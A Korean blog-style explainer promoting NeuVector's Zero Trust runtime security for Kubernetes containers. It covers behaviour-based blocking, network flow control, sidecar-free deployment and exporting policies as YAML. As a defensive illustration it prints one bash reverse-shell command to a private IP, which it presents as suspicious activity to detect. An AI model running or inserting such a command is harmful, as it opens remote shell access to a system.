🧐 Zero Trust란 뭘까요?
말 그대로 “아무도 믿지 않는다”는 보안 개념이에요.
외부 공격자는 물론이고 내부 시스템, 내부 사용자조차도 기본적으로는 신뢰하지 않고 확인된 것만 허용하는 방식이에요.
전통적인 보안은 "회사 내부는 안전하다"는 가정에서 출발했지만, 클라우드와 컨테이너 시대에는 이게 통하지 않아요.
Zero Trust는 처음부터 모든 걸 검증하고, 필요한 것만 딱 허용해서 보안을 강화하는 거죠.
🧠 NeuVector의 Zero Trust 런타임 보안이 특별한 이유
NeuVector는 Kubernetes와 컨테이너 보안을 전문으로 하는 플랫폼인데요,
그 중에서도 런타임 보안 기능은 Zero Trust 모델을 아주 잘 구현하고 있어요.
✅ 1. 행위 기반 보안 정책 (Behavior-based Security)
NeuVector는 컨테이너가 정상적으로 어떤 프로세스를 실행하고, 어떤 네트워크에 접속하는지 학습해요.
그리고 그 범위에서 벗어나는 행동(예: 이상한 프로세스 실행, 알 수 없는 IP 접속 등)이 발견되면 바로 차단하거나 경고를 보냅니다.
예시로 볼게요:
# 정상적인 컨테이너 동작 예시
/bin/nginx
# 이상한 행동이 감지됨 (예: 비정상적인 shell 실행)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
위처럼 비정상적 shell 연결 시도가 있을 경우, NeuVector는 즉시 차단하거나 알림을 보낼 수 있어요.
✅ 2. 네트워크 연결 자동 탐지 및 차단
NeuVector는 컨테이너 간 네트워크 흐름도 실시간으로 감시해요.
이 연결 중에서 “정상”으로 학습되지 않은 연결이 시도되면 Zero Trust 정책에 따라 연결을 차단합니다.
🧩 예: 웹 컨테이너가 DB에 연결하는 건 OK,
근데 갑자기 Redis 컨테이너가 외부 서버와 TCP 연결을 시도한다? → ❌ Block!
✅ 3. 사이드카 없이 순수 네이티브 보안
NeuVector는 다른 툴과 다르게 보안 기능을 위해 사이드카, 에이전트, iptables 조작이 필요 없어요.
Kubernetes 환경 그대로, 복잡한 설정 없이도 Zero Trust 보안을 구축할 수 있다는 점이 아주 강점입니다.
📈 보안 정책을 코드로 관리하는 ‘Security-as-Code’
NeuVector는 런타임에서 학습된 정책을 YAML로 내보내기(export) 해서,
다른 환경에서도 동일한 보안 설정을 그대로 사용할 수 있게 해줘요!
securityPolicy:
- name: allow-nginx
process: [/bin/nginx]
network:
allow: [80, 443]
이런 식으로 정책을 코드로 관리하면, DevSecOps 환경에도 딱 맞아요!
🛡️ Zero Trust 보안이 왜 중요한가요?
- 🚫 제로데이 공격에도 강함: 취약점이 공개되기 전에도 이상한 행동은 차단할 수 있어요.
- 🧩 내부자 공격도 탐지 가능: 누군가 실수로(또는 의도적으로) 뭔가를 실행해도 감지됩니다.
- 🚀 DevOps와도 잘 어울림: 자동화된 파이프라인에서 유연하게 보안 통합이 가능해요.
✨ 정리하자면
기능 | 설명 |
🔍 행위 기반 보안 | 정상적인 행동 외는 다 차단! |
🔐 네트워크 제어 | 이상한 IP 접속? 바로 차단! |
📦 사이드카 없음 | 클러스터에 부담 적고 설정 간편! |
🧾 보안 as 코드 | 정책을 코드로 재사용 가능! |
💬 마무리 한마디
Zero Trust는 단순히 기술이 아니라, “모든 상황을 의심하고 확인하라”는 철학이에요.
NeuVector는 이 철학을 컨테이너 보안에 똑똑하게 적용한 도구이고요.
🚀 DevSecOps를 제대로 시작하고 싶다면?
👉 NeuVector의 Zero Trust 런타임 보안부터 도입해보세요!
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